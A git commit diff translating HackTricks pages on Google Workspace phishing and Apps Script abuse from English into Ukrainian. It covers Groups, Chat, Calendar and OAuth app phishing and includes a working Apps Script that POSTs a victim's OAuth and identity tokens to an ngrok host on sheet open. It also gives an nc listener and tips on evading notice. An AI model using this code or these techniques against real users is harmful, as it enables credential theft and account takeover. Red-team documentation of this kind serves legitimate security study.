mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -10,70 +10,68 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
Очевидно, за замовчуванням, у workspace учасники [**можуть створювати групи**](https://groups.google.com/all-groups) **та запрошувати людей до них**. Ви можете змінити електронну пошту, яка буде надіслана користувачу, **додавши деякі посилання.** **Електронна пошта буде надіслана з адреси google**, тому вона виглядатиме **легітимно**, і люди можуть натиснути на посилання.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
Також можливо встановити **FROM** адресу як **електронну пошту групи Google**, щоб надіслати **більше електронних листів користувачам всередині групи**, як на наступному зображенні, де група **`google--support@googlegroups.com`** була створена, і **електронний лист був надісланий всім учасникам** групи (які були додані без будь-якої згоди)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
Ви можете або **почати чат** з людиною, просто маючи її електронну адресу, або надіслати **запрошення на розмову**. Більше того, можливо **створити Простір**, який може мати будь-яку назву (наприклад, "Google Support") і **запросити** учасників до нього. Якщо вони приймуть, вони можуть подумати, що спілкуються з Google Support:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **Однак у моєму тестуванні запрошені учасники навіть не отримали запрошення.**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Ви можете перевірити, як це працювало в минулому, за адресою: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
Раніше було можливо створити **очевидно легітимний документ** і в коментарі **згадати якусь електронну пошту (наприклад, @user@gmail.com)**. Google **надіслав електронний лист на цю електронну адресу**, повідомляючи, що вони були згадані в документі.\
|
||||
Сьогодні це не працює, але якщо ви **надасте жертві доступ до документа**, Google надішле електронний лист, вказуючи на це. Це повідомлення, яке з'являється, коли ви згадуєте когось:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> Жертви можуть мати механізм захисту, який не дозволяє електронним листам, що вказують на те, що зовнішній документ був поділений з ними, досягати їхньої електронної пошти.
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
Ви можете **створити подію в календарі** і додати стільки електронних адрес компанії, яку ви атакуєте, скільки у вас є. Заплануйте цю подію в календарі на **5 або 15 хвилин** від поточного часу. Зробіть подію виглядати легітимно і **додайте коментар та заголовок, вказуючи, що їм потрібно щось прочитати** (з **фішинговим посиланням**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
Це попередження, яке з'явиться в браузері з заголовком зустрічі "Звільнення людей", тому ви могли б встановити більш фішинговий заголовок (і навіть змінити ім'я, пов'язане з вашою електронною поштою).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
Щоб це виглядало менш підозріло:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- Налаштуйте так, щоб **отримувачі не могли бачити інших запрошених людей**
|
||||
- **НЕ надсилайте електронні листи, що повідомляють про подію**. Тоді люди лише побачать своє попередження про зустріч через 5 хвилин і що їм потрібно прочитати це посилання.
|
||||
- Очевидно, використовуючи API, ви можете встановити **True**, що **люди** прийняли **подію** і навіть створити **коментарі від їхнього імені**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
Можливо створити скрипт на [https://script.google.com/](https://script.google.com/) і **викласти його як веб-додаток, доступний для всіх**, який використовуватиме легітимний домен **`script.google.com`**.\
|
||||
З деяким кодом, як наведено нижче, зловмисник може змусити скрипт завантажувати довільний вміст на цій сторінці без зупинки доступу до домену:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Наприклад, отримавши доступ до [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec), ви побачите:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> Зверніть увагу, що з'явиться попередження, коли вміст завантажується всередині iframe.
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
Можливо створити App Scripts, прикріплені до документів, щоб спробувати отримати доступ до OAuth токена жертви, для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
@@ -81,89 +79,83 @@ gws-app-scripts.md
|
||||
|
||||
## OAuth Apps Phishing
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
Будь-яка з попередніх технік може бути використана, щоб змусити користувача отримати доступ до **Google OAuth application**, яка **запитуватиме** у користувача деякі **доступи**. Якщо користувач **довіряє** **джерелу**, він може **довіряти** **додатку** (навіть якщо він запитує високі привілейовані дозволи).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Зверніть увагу, що Google показує непривабливе вікно з попередженням, що додаток ненадійний у кількох випадках, і адміністратори Workspace можуть навіть заборонити людям приймати OAuth додатки.
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google** дозволяє створювати додатки, які можуть **взаємодіяти від імені користувачів** з кількома **сервісами Google**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
При створенні додатку, щоб **діяти від імені інших користувачів**, розробник повинен створити **OAuth app всередині GCP** і вказати області (дозволи), які додаток потребує для доступу до даних користувачів.\
|
||||
Коли **користувач** хоче **використати** цей **додаток**, йому буде **запропоновано** **прийняти**, що додаток матиме доступ до його даних, зазначених в областях.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
Це дуже привабливий спосіб **фішингу** нетехнічних користувачів для використання **додатків, які отримують доступ до чутливої інформації**, оскільки вони можуть не розуміти наслідків. Однак в облікових записах організацій є способи запобігти цьому.
|
||||
|
||||
### Unverified App prompt
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
Як було згадано, Google завжди буде показувати **вікно для користувача, щоб прийняти** дозволи, які вони надають додатку від їх імені. Однак, якщо додаток вважається **небезпечним**, Google спочатку покаже **вікно**, яке вказує, що це **небезпечний** додаток, і **ускладнить** користувачу надання дозволів додатку.
|
||||
|
||||
This prompt appears in apps that:
|
||||
Це вікно з'являється в додатках, які:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- Використовують будь-яку область, яка може отримати доступ до приватних даних (Gmail, Drive, GCP, BigQuery...)
|
||||
- Додатки з менш ніж 100 користувачами (додатки > 100 також потребують процесу перевірки, щоб зупинити показ неперевіреного вікна)
|
||||
|
||||
### Interesting Scopes
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**Тут**](https://developers.google.com/identity/protocols/oauth2/scopes) ви можете знайти список усіх областей Google OAuth.
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: Перегляд та управління вашими даними в сервісах **Google Cloud Platform**. Ви можете видавати себе за користувача в GCP.
|
||||
- **admin.directory.user.readonly**: Перегляд та завантаження каталогу GSuite вашої організації. Отримайте імена, телефони, URL-адреси календарів усіх користувачів.
|
||||
|
||||
### Create an OAuth App
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**Почніть створення OAuth Client ID**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. Перейдіть до [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) і натисніть на налаштування екрану згоди.
|
||||
2. Потім вам буде запропоновано, чи є **тип користувача** **внутрішнім** (тільки для людей у вашій організації) чи **зовнішнім**. Виберіть той, який відповідає вашим потребам
|
||||
- Внутрішній може бути цікавим, якщо ви вже скомпрометували користувача організації і створюєте цей додаток, щоб фішити іншого.
|
||||
3. Дайте **ім'я** додатку, **електронну пошту підтримки** (зверніть увагу, що ви можете вказати електронну пошту googlegroup, щоб спробувати трохи анонімізувати себе), **логотип**, **дозволені домени** та іншу **електронну пошту** для **оновлень**.
|
||||
4. **Виберіть** **OAuth області**.
|
||||
- Ця сторінка поділена на неделікатні дозволи, делікатні дозволи та обмежені дозволи. Кожного разу, коли ви додаєте новий дозвіл, він додається до своєї категорії. В залежності від запитуваних дозволів різні вікна з'являться для користувача, вказуючи, наскільки чутливими є ці дозволи.
|
||||
- Як **`admin.directory.user.readonly`**, так і **`cloud-platform`** є делікатними дозволами.
|
||||
5. **Додайте тестових користувачів.** Поки статус додатку є тестовим, лише ці користувачі зможуть отримати доступ до додатку, тому переконайтеся, що **додали електронну пошту, яку ви будете фішити**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
Тепер давайте отримати **облікові дані для веб-додатку**, використовуючи **раніше створений OAuth Client ID**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. Поверніться до [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), цього разу з'явиться інша опція.
|
||||
2. Виберіть **створити облікові дані для веб-додатку**
|
||||
3. Встановіть необхідні **Javascript origins** та **redirect URIs**
|
||||
- Ви можете вказати в обох щось на кшталт **`http://localhost:8000/callback`** для тестування
|
||||
4. Отримайте свої облікові дані **додатку**
|
||||
|
||||
Нарешті, давайте **запустимо веб-додаток, який використовуватиме облікові дані OAuth додатку**. Ви можете знайти приклад на [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
Перейдіть на **`http://localhost:8000`**, натисніть кнопку Увійти з Google, вам буде **представлено** повідомлення, подібне до цього:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
Додаток покаже **токен доступу та токен оновлення**, які можна легко використовувати. Для отримання додаткової інформації про **те, як використовувати ці токени, перевірте**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### Використання `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
Можливо зробити щось, використовуючи gcloud замість веб-консолі, перевірте:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Хакінг G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team для GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,236 +4,224 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scripts - це **код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script** і після **прийняття запиту OAuth**.\
|
||||
Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (постійність).
|
||||
|
||||
### Create App Script
|
||||
### Створити App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
Існує кілька способів створити App Script, хоча найпоширеніші з них - це **з Google Документу (будь-якого типу)** та як **окремий проект**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.
|
||||
2. Натисніть **Розширення** > **Google Apps Script**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>Створити окремий проект</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Щоб створити окремий проект з Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Перейдіть на [`script.google.com`](https://script.google.com/).
|
||||
2. Натисніть **Новий проект**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Створити окремий проект з Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. Відкрийте [Google Drive](https://drive.google.com/).
|
||||
2. Натисніть **Новий** > **Інше** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Створити проект, прив'язаний до контейнера, з Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Відкрийте форму в Google Forms.
|
||||
2. Натисніть Інше more_vert > **Редактор скриптів**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>Створити окремий проект за допомогою інструменту командного рядка clasp</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp` - це інструмент командного рядка, який дозволяє створювати, витягувати/додавати та розгортати проекти Apps Script з терміналу.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
Дивіться [Посібник по інтерфейсу командного рядка за допомогою `clasp`](https://developers.google.com/apps-script/guides/clasp) для отримання додаткової інформації.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## Сценарій App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### Створити Google Sheet з App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до **`Розширення > App Scripts`**, це відкриє **новий App Script, пов'язаний з таблицею**.
|
||||
|
||||
### Leak token
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
Щоб надати доступ до токена OAuth, вам потрібно натиснути на **`Сервіси +` і додати області, такі як**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
|
||||
- **Gmail**: Для доступу до даних gmail
|
||||
- **Drive**: Для доступу до даних drive
|
||||
- **Google Sheets API**: Щоб це працювало з тригером
|
||||
|
||||
Щоб змінити **необхідні області**, ви можете перейти до налаштувань проекту та увімкнути: **`Показати файл маніфесту "appsscript.json" в редакторі`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
Щоб захопити запит, ви можете просто виконати:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
Запити на дозволи для виконання App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> Оскільки здійснюється зовнішній запит, запит OAuth також **попросить дозволи на доступ до зовнішніх кінцевих точок**.
|
||||
|
||||
### Create Trigger
|
||||
### Створити тригер
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, виконується на розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете щось налагодити.
|
||||
|
||||
### Sharing
|
||||
### Спільний доступ
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
Щоб **запустити** **App Script**, жертва повинна підключитися з **доступом редактора**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як редактор іншими користувачами.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
### Зловживання документами, поділеними зі мною
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що токен OAuth власника матиме такі області доступу, які були надані під час створення тригера).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> **Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт** (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> Якщо **зловмисник змінює області доступу App Script**, оновлення **не будуть застосовані** до документа, поки не буде створено **новий тригер** з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями доступу, ніж ті, які він встановив у тригері, який він створив.
|
||||
|
||||
### Copying instead of sharing
|
||||
### Копіювання замість спільного доступу
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
